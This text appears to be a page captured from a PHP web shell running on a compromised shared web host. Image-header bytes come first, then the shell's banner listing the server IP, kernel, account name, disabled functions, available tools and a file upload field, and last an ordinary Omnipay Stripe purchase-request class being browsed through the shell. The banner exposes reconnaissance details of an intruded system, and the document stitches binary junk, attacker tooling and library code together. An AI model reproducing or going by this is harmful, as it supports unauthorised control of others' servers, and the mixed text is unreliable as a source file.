����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././public_html/vendor/omnipay/stripe/src/Message/ |
Upload File : |
<?php
/**
* Stripe Purchase Request.
*/
namespace Omnipay\Stripe\Message;
/**
* Stripe Purchase Request.
*
* To charge a credit card, you create a new charge object. If your API key
* is in test mode, the supplied card won't actually be charged, though
* everything else will occur as if in live mode. (Stripe assumes that the
* charge would have completed successfully).
*
* Example:
*
* <code>
* // Create a gateway for the Stripe Gateway
* // (routes to GatewayFactory::create)
* $gateway = Omnipay::create('Stripe');
*
* // Initialise the gateway
* $gateway->initialize(array(
* 'apiKey' => 'MyApiKey',
* ));
*
* // Create a credit card object
* // This card can be used for testing.
* $card = new CreditCard(array(
* 'firstName' => 'Example',
* 'lastName' => 'Customer',
* 'number' => '4242424242424242',
* 'expiryMonth' => '01',
* 'expiryYear' => '2020',
* 'cvv' => '123',
* 'email' => 'customer@example.com',
* 'billingAddress1' => '1 Scrubby Creek Road',
* 'billingCountry' => 'AU',
* 'billingCity' => 'Scrubby Creek',
* 'billingPostcode' => '4999',
* 'billingState' => 'QLD',
* ));
*
* // Do a purchase transaction on the gateway
* $transaction = $gateway->purchase(array(
* 'amount' => '10.00',
* 'currency' => 'USD',
* 'description' => 'This is a test purchase transaction.',
* 'card' => $card,
* ));
* $response = $transaction->send();
* if ($response->isSuccessful()) {
* echo "Purchase transaction was successful!\n";
* $sale_id = $response->getTransactionReference();
* echo "Transaction reference = " . $sale_id . "\n";
* }
* </code>
*
* Because a purchase request in Stripe looks similar to an
* Authorize request, this class simply extends the AuthorizeRequest
* class and over-rides the getData method setting capture = true.
*
* @see \Omnipay\Stripe\Gateway
* @link https://stripe.com/docs/api#charges
*/
class PurchaseRequest extends AuthorizeRequest
{
public function getData()
{
$data = parent::getData();
$data['capture'] = 'true';
return $data;
}
}